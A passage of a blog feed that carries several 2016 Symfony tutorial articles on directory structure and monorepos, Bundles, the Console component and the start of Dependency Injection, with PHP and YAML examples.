<li><code>Domain</code> ones, classes that reflect our business logic</li>
<li><code>Component</code> ones, classes that don't have a direct link to our project and could be reused as libraries</li>
<li><code>Bridge</code> ones, classes that map our Domain to Component (or third party libraries)</li>
</ul>

<p>By organizing our directory tree with those categories, it could looks like this:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── autoload.php
│   └── config
│       ├── config_dev.yml
│       ├── config_prod.yml
│       ├── config_test.yml
│       ├── config.yml
│       ├── parameters.yml.dist
│       ├── routings
│       └── services
├── bin
│   └── console
├── composer.json
├── composer.lock
├── src
│   ├── AppBundle
│   │   ├── AppBundle.php
│   │   ├── Command
│   │   ├── Controller
│   │   ├── DependencyInjection
│   │   │   └── CompilerPass
│   │   └── EventListener
│   └── &lt;vendor&gt;
│       └── &lt;project&gt;
│           ├── Bridge
│           ├── Component
│           └── Domain
├── var
│   ├── cache
│   └── logs
└── web
    ├── app.php
    ├── favicon.ico
    └── robots.txt
</code></pre>

<p>The issue with the previous organization is that classes in <code>Bridge</code> are now away
from their interface. Wouldn't it better to keep related classes close?</p>

<p>Here's an alternative organization, where we move <code>Bridge</code> to be in <code>Domain</code>:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── autoload.php
│   └── config
│       ├── config_dev.yml
│       ├── config_prod.yml
│       ├── config_test.yml
│       ├── config.yml
│       ├── parameters.yml.dist
│       ├── routings
│       └── services
├── bin
│   └── console
├── composer.json
├── composer.lock
├── src
│   ├── AppBundle
│   │   ├── AppBundle.php
│   │   ├── Command
│   │   ├── Controller
│   │   ├── DependencyInjection
│   │   │   └── CompilerPass
│   │   └── EventListener
│   └── &lt;vendor&gt;
│       └── &lt;project&gt;
│           ├── Component
│           └── Domain
│               └── Bridge
├── var
│   ├── cache
│   └── logs
└── web
    ├── app.php
    ├── favicon.ico
    └── robots.txt
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>Components</code> could also need their own bridges. Also, a "Bundle" is
  a kind of bridge: it maps a library to Symfony.</p>
</blockquote>

<h2 id="monolithic-repository">Monolithic Repository</h2>

<p>There's a possibility that our application grows out of proportion and we decide
it'd be better to split it into smaller applications.</p>

<p>For example if we have an application that creates resources through a backend
and then provides them through an API for other applications, we could split it
in two: <code>backend</code> (note that <code>backend</code> could also be split in two:
<code>backend-api</code> and <code>backend-ui</code>) and <code>api</code>.</p>

<p>The problem is that those two applications would share a lot of logic, so splitting
them in different repositories could become cumbersome to maintain. A good indicator
to know if they need to be in the same repository: when we create a new version,
do we need to release them together?</p>

<p>In that case it might be worth keeping those two applications in the same repository,
this practice being called "Monolithic Repository".</p>

<p>For our project, it would mean:</p>

<ul>
<li>creating an <code>apps</code> directory where we would put small symfony applications,
similar to the first directory tree we've seen</li>
<li>creating a <code>packages</code> directory where we would put the previous content of <code>src/&lt;vendor&gt;/&lt;project&gt;</code>,
with each component in their own directory (to enable us to use them selectively in each apps)</li>
</ul>

<p>Here's an overview:</p>

<pre><code>.
├── apps
│   └── &lt;app&gt;
│       ├── app
│       │   ├── AppKernel.php
│       │   ├── autoload.php
│       │   └── config
│       │       ├── config_dev.yml
│       │       ├── config_prod.yml
│       │       ├── config_test.yml
│       │       ├── config.yml
│       │       ├── parameters.yml.dist
│       │       ├── routings
│       │       └── services
│       ├── bin
│       │   └── console
│       ├── composer.json
│       ├── composer.lock
│       ├── src
│       │   └── AppBundle
│       │       ├── AppBundle.php
│       │       ├── Command
│       │       ├── Controller
│       │       ├── DependencyInjection
│       │       │   └── CompilerPass
│       │       └── EventListener
│       ├── var
│       │   ├── cache
│       │   └── logs
│       └── web
│           ├── app.php
│           ├── favicon.ico
│           └── robots.txt
└── packages
    └── &lt;package&gt;
        ├── composer.json
        └── src
</code></pre>

<blockquote>
  <p><strong>Note</strong>: More information about Monolithic Repository:</p>
  
  <ul>
  <li><a href="http://gregoryszorc.com/blog/2014/09/09/on-monolithic-repositories/">On monolithic repositories</a></li>
  <li><a href="http://danluu.com/monorepo/">Advantages of monolithic version control</a></li>
  <li><a href="http://sroze.io/2015/09/14/managing-monolith-repositories-with-composers-path-repository/">Managing monolithic repositories with composer’s path repository</a></li>
  <li><a href="https://qafoo.com/talks/15_10_symfony_live_berlin_monorepos.pdf">Working with a single, big, scary version control repository</a></li>
  <li><a href="http://www.whitewashing.de/2015/04/11/monolithic_repositories_with_php_and_composer.html">Monolithic Repositories with PHP and Composer</a></li>
  <li><a href="http://tech.mybuilder.com/why-we-created-conductor/">Conductor: A return to monolith</a></li>
  </ul>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>There are many ways to organize our application directory tree, and it's difficult
to pick one when we don't have a clear idea on their impact or on what our project
should look like.</p>

<p>The best way to tackle this is to first start small (everything in <code>src/AppBundle</code>),
and then move gradually files around. It's also important to make sure that change
is possible.</p>

<p>Here are some alternative ways of organizing the project directory tree:</p>

<ul>
<li><a href="http://programmingarehard.com/2015/03/04/structing-my-application.html/">Structuring my application</a>
by <a href="http://twitter.com/dadamssg">David Adams</a></li>
<li><a href="http://verraes.net/2011/10/code-folder-structure/">Code Folder Structure</a>
by <a href="http://twitter.com/mathiasverraes">Mathias Verraes</a></li>
<li><a href="http://williamdurand.fr/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/">DDD with Symfony2: Folder Structure And Code First</a>
by <a href="http://williamdurand.fr/">William Durand</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Bundle]]></title>
            <link href="/2016/03/09/ultimate-symfony-bundle.html"/>
            <updated>2016-03-09T00:00:00+00:00</updated>
            <id>/2016/03/09/ultimate-symfony-bundle.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Configure services from a third party library in a Bundle.</p>
</blockquote>

<p>In this guide we've explored the main standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>In this article, we're going to have a closer look at how HttpKernel enables reusable code.</p>

<p>Then in the next article we'll see the different ways to organize our application
<a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="httpkernel-vs-kernel">HttpKernel vs Kernel</h2>

<p>The HttpKernel component provides two implementations for <code>HttpKernelInterface</code>.</p>

<p>The first one, <code>HttpKernel</code>, relies on Event Dispatcher and Routing to execute
the appropriate controller for the given Request.</p>

<p>And the second one, <code>Kernel</code>, relies on Dependency Injection and <code>HttpKernel</code>:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpKernel;

use Symfony\Component\HttpFoundation\Request;

class Kernel implements HttpKernelInterface
{
    public function handle(Request $request, $type = HttpKernelInterface::MASTER_REQUEST, $catch = true)
    {
        if (false === $this-&gt;booted) {
            $this-&gt;boot();
        }

        return $this-&gt;container-&gt;get('http_kernel')-&gt;handle($request, $type, $catch);
    }

    public function boot()
    {
        // Initializes the container
    }

    abstract public function registerBundles();
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: For brevity's sake, <code>Kernel</code> has been heavily truncated.</p>
</blockquote>

<p>Initialization of the container includes:</p>

<ol>
<li>retrieving all "bundles"</li>
<li>creating a <code>ContainerBuilder</code></li>
<li>for each bundles:

<ol>
<li>registering its <code>ExtensionInterface</code> implementations in the container</li>
<li>registering its <code>CompilerPassInterface</code> implementations in the container</li>
</ol></li>
<li>dumping the container in an optimized implementation</li>
</ol>

<p>Once the container is initialized, <code>Kernel</code> expects it to contain a <code>http_kernel</code>
service to which it will delegate the actual HTTP work.</p>

<h2 id="bundle">Bundle</h2>

<p>A bundle is a package that contains <code>ExtensionInterface</code> and <code>CompilerPassInterface</code>
implementations, to configure a Dependency Injection container. It can be summed
up by this interface:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpKernel\Bundle;

use Symfony\Component\DependencyInjection\ContainerBuilder;

interface BundleInterface
{
    // Adds CompilerPassInterface implementations to the container
    public function build(ContainerBuilder $container);

    // Returs an ExtensionInterface implementation, which will be registered in the container
    public function getContainerExtension();
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Once again, this interface has been truncated for brevity's sake.</p>
</blockquote>

<p>Bundles are usually created for one of the following purposes:</p>

<ul>
<li>define a third party library's classes as Dependency Injection services (e.g.
<a href="https://github.com/thephpleague/tactician-bundle">TacticianBundle</a>
for <a href="https://tactician.thephpleague.com/">Tactician</a>
which provides a <a href="http://shawnmc.cool/command-bus">CommandBus</a>,
<a href="https://github.com/symfony/monolog-bundle">MonologBundle</a>
for <a href="https://github.com/Seldaek/monolog">Monolog</a>
which provides a <a href="http://www.php-fig.org/psr/psr-3/">PSR-3</a> compliant logger,
etc)</li>
<li>define an application's classes as Dependency Injection services (usually named AppBundle)</li>
<li>create a framework (e.g.
user management with <a href="https://github.com/FriendsOfSymfony/FOSUserBundle">FOSUserBundle</a>,
admin generator with <a href="https://sonata-project.org/bundles/admin/2-3/doc/index.html">SonataAdminBundle</a>,
etc)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: the last category is considered bad practice, as explained in the
  following, articles:</p>
  
  <ul>
  <li><a href="http://jolicode.com/blog/do-not-use-fosuserbundle">composer require technical-debt-bundle</a>.</li>
  <li><a href="http://elnur.pro/use-only-infrastructural-bundles-in-symfony/">Use only infrastructural bundles in Symfony2, by Elnur Abdurrakhimov</a></li>
  <li><a href="http://stackoverflow.com/questions/9999433/should-everything-really-be-a-bundle-in-symfony-2-x/10001019#10001019">Should everything really be a bundle in Symfony2?</a></li>
  <li><a href="http://danielribeiro.org/blog/yes-you-can-have-low-coupling-in-a-symfony-standard-edition-application/">Yes, you can have low coupling in a Symfony2 application</a></li>
  <li><a href="http://elnur.pro/symfony-without-bundles/">Symfony2 without bundles, by Elnur Abdurrakhimov, by Daniel Ribeiro</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2013/10/symfony2-some-things-i-dont-like-about-bundles/">Symfony2 some things I dont like about bundles, by Matthias Noback</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/2013/10/symfony2-console-commands-as-services-why/">Symfony2 console commands as services why, by Matthias Noback</a></li>
  <li><a href="http://www.slideshare.net/matthiasnoback/high-quality-symfony-bundles-tutorial-dutch-php-conference-2014">Naked bundles, slides by Matthias Noback</a></li>
  </ul>
</blockquote>

<p>Bundles follow <a href="http://symfony.com/doc/current/cookbook/bundles/best_practices.html">by convention</a>
the following directory tree:</p>

<pre><code>.
├── Command
├── Controller
├── DependencyInjection
│   └── CompilerPass
├── EventListener
├── Resources
│   └── config
│       └── services
│           └── some_definitions.yml
├── Tests
└── VendorProjectBundle.php
</code></pre>

<h2 id="nanoframeworkbundle-example">NanoFrameworkBundle example</h2>

<p>Since HttpKernel component is a third party library, we're going to create a
bundle to provide its classes as Dependency Injection services. This is also a
good opportunity to have a look at how a Symfony application works behind the hood.</p>

<p>NanoFrameworkBundle's purpose is to provides a <code>http_kernel</code> service that can be
used by <code>Kernel</code>. First let's create a directory:</p>

<pre><code>mkdir nano-framework-bundle
cd nano-framework-bundle
</code></pre>

<p>Then we can create an implementation of <code>BundleInterface</code>:</p>

<pre><code class="php">&lt;?php
// VendorNanoFrameworkBundle.php

namespace Vendor\NanoFrameworkBundle;

use Symfony\Component\HttpKernel\Bundle\Bundle;

class VendorNanoFrameworkBundle extends Bundle
{
}
</code></pre>

<h3 id="bundle-extension">Bundle extension</h3>

<p>To be able to load Dependency Injection configuration, we'll create an
implementation of <code>ExtensionInterface</code>:</p>

<pre><code class="php">&lt;?php
// DependencyInjection/VendorNanoFrameworkExtension.php

namespace Vendor\NanoFrameworkBundle\DependencyInjection;

use Symfony\Component\Config\FileLocator;
use Symfony\Component\Config\Loader\LoaderResolver;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\DirectoryLoader;
use Symfony\Component\DependencyInjection\Loader\YamlFileLoader;
use Symfony\Component\HttpKernel\DependencyInjection\Extension;

class VendorNanoFrameworkExtension extends Extension
{
    public function load(array $configs, ContainerBuilder $container)
    {
        $fileLocator = new FileLocator(__DIR__.'/../Resources/config');
        $loader = new DirectoryLoader($container, $fileLocator);
        $loader-&gt;setResolver(new LoaderResolver(array(
            new YamlFileLoader($container, $fileLocator),
            $loader,
        )));
        $loader-&gt;load('services/');
    }
}
</code></pre>

<p>Once done, we can create the configuration:</p>

<pre><code># Resources/config/services/http_kernel.yml
services:
    http_kernel:
        class: Symfony\Component\HttpKernel\HttpKernel
        arguments:
            - "@event_dispatcher"
            - "@controller_resolver"
            - "@request_stack"

    event_dispatcher:
        class: Symfony\Component\EventDispatcher\EventDispatcher

    controller_resolver:
        class: Symfony\Component\HttpKernel\Controller\ControllerResolver
        public: false

    request_stack:
        class: Symfony\Component\HttpFoundation\RequestStack
</code></pre>

<h3 id="bundle-compiler-pass">Bundle compiler pass</h3>

<p>In order to register event listeners in EventDispatcher in a way that doesn't
require us to edit <code>Resources/config/services/http_kernel.yml</code>, we're going to
create an implementation of <code>CompilerInterface</code>:</p>

<pre><code class="php">&lt;?php
// DependencyInjection/CompilerPass/AddListenersPass.php

namespace Vendor\NanoFrameworkBundle\DependencyInjection;

use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
use Symfony\Component\DependencyInjection\Reference;

class AddListenersPass implements CompilerPassInterface
{
    public function process(ContainerBuilder $container)
    {
        $eventDispatcher = $container-&gt;findDefinition('event_dispatcher');
        $eventListeners = $container-&gt;findTaggedServiceIds('kernel.event_listener');
        foreach ($eventListeners as $id =&gt; $events) {
            foreach ($events as $event) {
                $eventDispatcher-&gt;addMethodCall('addListener', array(
                    $event['event'],
                    array(new Reference($id), $event['method']),
                    isset($event['priority']) ? $event['priority'] : 0;
                ));
            }
        }
    }
}
</code></pre>

<p>With this, we only need to add a tag with:</p>

<ul>
<li>a <code>kernel.event_listener</code> name</li>
<li>an event to listen to (e.g. <code>kernel.request</code>)</li>
<li>a method to call (e.g. <code>onKernelRequest</code>)</li>
<li>optionally a priority (default to <code>0</code>, the greater the sooner it will be executed)</li>
</ul>

<p>To complete the step, we need to register it in our bundle:</p>

<pre><code class="php">&lt;?php
// VendorNanoFrameworkBundle.php

namespace Vendor\NanoFrameworkBundle;

use Symfony\Component\HttpKernel\Bundle\Bundle;
use Vendor\NanoFrameworkBundle\DependencyInjection\CompilerPass\AddListenersPass;

class VendorNanoFrameworkBundle extends Bundle
{
    public function build(ContainerBuilder $container)
    {
        parent::build($container);

        $container-&gt;addCompilerPass(new AddListenersPass());
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: While <code>CompilerPassInterface</code> implementations need to be registered
  explicitly, there is no need to do anything for <code>ExtensionInterface</code> implementations
  as <code>Bundle</code> contains a method able to locate it, based on the following conventions:</p>
  
  <ul>
  <li>it needs to be in <code>DependencyInjection</code> directory</li>
  <li>it needs to be named after the bundle name (replace <code>Bundle</code> suffix by <code>Extension</code>)</li>
  <li>it needs to implement <code>ExtensionInterface</code></li>
  </ul>
</blockquote>

<h3 id="more-configuration">More configuration</h3>

<p>HttpKernel relies on event listeners for the routing, in order to enable it we
need to add the following configuration:</p>

<pre><code># Resources/config/services/routing.yml
services:
    router_listener:
        class: Symfony\Component\HttpKernel\EventListener\RouterListener
        arguments:
            - "@router"
            - "@request_stack"
            - "@router.request_context"
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest, priority: 32 }

    router:
        class: Symfony\Component\Routing\Router
        public: false
        arguments:
            - "@routing.loader"
            - "%kernel.root_dir%/config/routings"
            - "%router.options%"
            - "@router.request_context"
        calls:
            - [setConfigCacheFactory, ["@config_cache_factory"]]

    routing.loader:
        class: Symfony\Component\Config\Loader\DelegatingLoader
        public: false
        arguments:
            - "@routing.resolver"

    routing.resolver:
        class: Symfony\Component\Config\Loader\LoaderResolver
        public: false
        calls:
            - [addLoader, ["@routing.loader.yml"]]

    router.request_context:
        class: Symfony\Component\Routing\RequestContext
        public: false

    config_cache_factory:
        class: Symfony\Component\Config\ResourceCheckerConfigCacheFactory
        public: false

    routing.loader.yml:
        class: Symfony\Component\Routing\Loader\YamlFileLoader
        public: false
        arguments:
            - "@file_locator"
</code></pre>

<h2 id="usage">Usage</h2>

<p>Since <code>Kernel</code> is an abstract class, we need to create an implementation (usually
called AppKernel):</p>

<pre><code class="php">&lt;?php
// Tests/app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        return array(
            new Vendor\NanoFrameworkBundle\VendorNanoFrameworkBundle(),
        );
    }

    public function getRootDir()
    {
        return __DIR__;
    }

    public function getCacheDir()
    {
        return dirname(__DIR__).'/var/cache/'.$this-&gt;getEnvironment();
    }

    public function getLogDir()
    {
        return dirname(__DIR__).'/var/logs';
    }
}
</code></pre>

<p>Finally we need to create a "Front Controller" (a fancy name for <code>index.php</code>):</p>

<pre><code class="php">&lt;?php
// Tests/web/index.php

&lt;?php

use Symfony\Component\HttpFoundation\Request;

$kernel = new AppKernel('prod', false);
$request = Request::createFromGlobals();
$response = $kernel-&gt;handle($request);
$response-&gt;send();
$kernel-&gt;terminate($request, $response);
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Bundles enable us to define classes as Dependency Injection services, for our
applications and third part libraries in a reusable way.</p>

<p>In the example above we've created a bundle that provides a <code>http_kernel</code> service,
which can then be used to create Symfony applications. Here are some existing
bundles that do it for us:</p>

<ul>
<li><a href="https://github.com/symfony/framework-bundle">FrameworkBundle</a>, the official one
provided by Symfony. It comes with many services out of the box, mainly targeted
at full stack applications (it follows a "solve 80% of use cases" philosohpy)</li>
<li><a href="http://gnugat.github.io/micro-framework-bundle/">MicroFrameworkBundle</a>, an unofficial
one. It comes with the bare minimum (it follows a "add what you need" philosohpy)</li>
</ul>

<p>There are many bundles available, you can find them by checking
<a href="https://packagist.org/search/?q=symfony-bundle">symfony-bundle in Packagist</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Console]]></title>
            <link href="/2016/03/02/ultimate-symfony-console.html"/>
            <updated>2016-03-02T00:00:00+00:00</updated>
            <id>/2016/03/02/ultimate-symfony-console.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: <code>$statusCode = $application-&gt;run($input);</code></p>
</blockquote>

<p>In this guide we explore the standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications.</p>

<p>We've already seen:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
</ul>

<p>We're now about to check the last one: Console.</p>

<p>In the next articles we'll also see how HttpKernel enables reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="application">Application</h2>

<p>Symfony provides a <a href="http://symfony.com/doc/current/components/console/introduction.html">Console component</a>
which allows us to create CLI commands. Its main class is <code>Application</code>:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Console;

use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Command\Command;

class Application
{
    public function __construct($name = 'UNKNOWN', $version = 'UNKNOWN');

    public function add(Command $command);
    public function setDefaultCommand($commandName);
    public function run(InputInterface $input = null, OutputInterface $output = null);

    public function setAutoExit($boolean);
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: This snippet is a truncated version. Please note that <code>Application</code>
  is (unfortunately) not an interface.</p>
</blockquote>

<p>We can create it as follow:</p>

<pre><code class="php">&lt;?php
// /tmp/console.php

use Symfony\Component\Console\Application;
use Symfony\Component\Console\Input\ArgvInput;

$application = new Application('My Application', 'v4.2.3');
$application-&gt;add($command);
$application-&gt;setDefaultCommand($command-&gt;getName());

$application-&gt;run(new ArgvInput());
</code></pre>

<p>Which can then be used as follow:</p>

<pre><code>php /tmp/console.php
</code></pre>

<blockquote>
  <p><strong>Note</strong>: After running the command, <code>Application</code> will automatically stop
  using <code>exit</code>.
  As it can sometimes be inconvenient (for example in tests), we can disable it
  with this line: <code>$application-&gt;setAutoExit(false);</code></p>
</blockquote>

<p>Out of the box, <code>Application</code> has two commands:</p>

<ul>
<li><code>list</code>, list all available commands (it's the default command if <code>setDefaultCommand</code> hasn't been used)</li>
<li><code>help</code>, displays a description with available arguments and options for the current command</li>
</ul>

<h2 id="command">Command</h2>

<p>In order for <code>Application</code> to be useful, we need to create commands. This can be
done by extending <code>Command</code>:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Console\Command;

use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

class Command
{
    public function run(InputInterface $input, OutputInterface $output);
    // Called by run
    protected function execute(InputInterface $input, OutputInterface $output);
    protected function interact(InputInterface $input, OutputInterface $output);

    protected function configure();
    // To be called in configure
    public function setName($name);
    public function addArgument($name, $mode = null, $description = '', $default = null);
    public function addOption($name, $shortcut = null, $mode = null, $description = '', $default = null);
    public function setDescription($description);
    public function setHelp($help);
    public function setAliases($aliases);
}
</code></pre>

<p>We can configure the command (name, arguments, options, description, etc) in the
<code>configure</code> method, we can define more options to be asked interractively in
the <code>interact</code> method (e.g. <code>Are you sure? (Y/n)</code>) and finally we can write the
command logic in the <code>execute</code> method.</p>

<p>Commands are to Console what Controllers are to HttpKernel: their responsibility
is to extract input parameters, pass them to a service and then put the service's
returned value in the output.</p>

<h2 id="input">Input</h2>

<p>Input parameters are wrapped in the following interface:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Console\Input;

interface InputInterface
{
    public function getArgument($name);
    public function getOption($name);
}
</code></pre>

<p>Out of the box we have the following implementations:</p>

<ul>
<li><code>ArgvInput</code>: wraps CLI arguments comming from <code>$_SERVER['argv']</code></li>
<li><code>ArrayInput</code>: define arguments using an array, which is useful for tests</li>
</ul>

<p><code>Application</code> will take care of validating <code>InputInterface</code> parameters against
the <code>Command</code> configuration (e.g. if required arguments present).</p>

<h2 id="output">Output</h2>

<p>While <code>InputInterface</code> can be seen as a value object, <code>OutputInterface</code> should
be seen as a service able to send informations to a stream:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Console\Output;

abstract class Output implements OutputInterface
{
    public function writeln($messages, $type = self::OUTPUT_NORMAL);
}
</code></pre>

<p>The <code>writeln</code> method allows us to write a new line (with a newline character at
the end). If the given message is an array, it will print each elements on a new
line.</p>

<p>The given message can contain tags (e.g. <code>Arthur &lt;info&gt;Dent&lt;/info&gt;</code>), which can
be used to format it. Out of the box it will color the followings:</p>

<ul>
<li>green text for informative messages (usage example: <code>&lt;info&gt;Arthur Dent&lt;/info&gt;</code>)</li>
<li>yellow text for comments (usage example: <code>&lt;comment&gt;Tricia McMillan&lt;/comment&gt;</code>)</li>
<li>black text on a cyan background for questions (usage example: <code>&lt;question&gt;Ford Prefect&lt;/question&gt;</code>)</li>
<li>white text on a red background for errors (usage example: <code>&lt;error&gt;Marvin&lt;/error&gt;</code>)</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>The Console component allows us to create CLI applications. Its Commands are a
thin layer which gathers the input and call services. Those services can then
output messages to the user.</p>

<blockquote>
  <p><strong>Note</strong>: Since Symfony follows a <a href="https://github.com/symfony/symfony-docs/issues/4265">Console Output Formating Style Guide</a>,
  the Console component provides the following helper class:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\Console\Style;

use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Question\Question;

class SymfonyStyle
{
    public function __construct(InputInterface $input, OutputInterface $output);

    public function block($messages, $type = null, $style = null, $prefix = ' ', $padding = false);
    public function title($message);
    public function section($message);
    public function listing(array $elements);
    public function text($message);

    public function comment($message);
    public function success($message);
    public function error($message);
    public function warning($message);
    public function note($message);
    public function caution($message);

    public function table(array $headers, array $rows);

    public function ask($question, $default = null, $validator = null);
    public function askHidden($question, $validator = null);
    public function confirm($question, $default = true);
    public function choice($question, array $choices, $default = null);
    public function askQuestion(Question $question);

    public function progressStart($max = 0);
    public function progressAdvance($step = 1);
    public function progressFinish();
    public function createProgressBar($max = 0);

    public function writeln($messages, $type = self::OUTPUT_NORMAL);
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL);
    public function newLine($count = 1);
}
</code></pre>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Dependency Injection]]></title>
            <link href="/2016/02/24/ultimate-symfony-dependency-injection.html"/>
            <updated>2016-02-24T00:00:00+00:00</updated>
            <id>/2016/02/24/ultimate-symfony-dependency-injection.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Make Dependency Injection easy by moving class construction in
  configuration files.</p>
</blockquote>

<p>In this guide we explore the standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications.</p>

<p>We've already seen:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
</ul>

<p>We're now about to check Dependency Injection, then the next article we'll have
a look at <a href="/2016/03/02/ultimate-symfony-console.html">Console</a>.</p>

<p>We'll also see how HttpKernel enables reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>Finally we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="introduction-to-the-design-pattern">Introduction to the design pattern</h2>

<p>When first creating a class, we tend to keep it small and tidy. Then overtime it
can grow out of control and the next thing we know it became this multi thousand
line monster:</p>

<pre><code class="php">&lt;?php

class CheckApiStatus
{
    public function check($url)
    {
        $curl = curl_init();
        curl_setopt_array($curl, array(
            CUROPT_RETURNTRANSFER =&gt; true,
            CURLOPT_HEADER =&gt; true,
            CUROPT_URL =&gt; $url,
        ));
        $response = curl_exec($curl);
        $headerSize = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
        $statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        curl_close($curl);
        $headers = array_map(function($line) {
            return explode(': ', trim($line));
        }, explode("\n", substr($response, 0, $size)));
        array_pop($headers);array_pop($headers);array_shift($headers);
        $body = substr($response, $headerSize);

        return 200 &gt;= $statusCode &amp;&amp; $statusCode &lt; 400;
    }
}
</code></pre>

<p>A nice way to shrink it back to an acceptable level is to identify the many
"responsibilities" it bears and split those in sub classes. This process is called
refactoring:</p>

<pre><code class="php">&lt;?php

class Request
{
    private $uri;

    public function __construct($uri)
    {
        $this-&gt;uri;
    }

    public function getUri()
    {
        return $this-&gt;uri;
    }
}

class Response
{
    private $statusCode;
    private $headers;
    private $body;

    public function __construct($statusCode, $headers, $body)
    {
        $this-&gt;statusCode = $statusCode;
        $this-&gt;headers = $headers;
        $this-&gt;body = $body;
    }

    public function getStatusCode()
    {
        return $this-&gt;statusCode;
    }

    public function getHeaders()
    {
        return $this-&gt;headers;
    }

    public function getBody()
    {
        return $this-&gt;body;
    }
}

interface HttpClient
{
    /**
     * @return Response
     */
    public function sendRequest(Request $request);
}

class CurlHttpClient implements HttpClient
{
    public function sendRequest(Request $request)
    {
        $curl = curl_init();
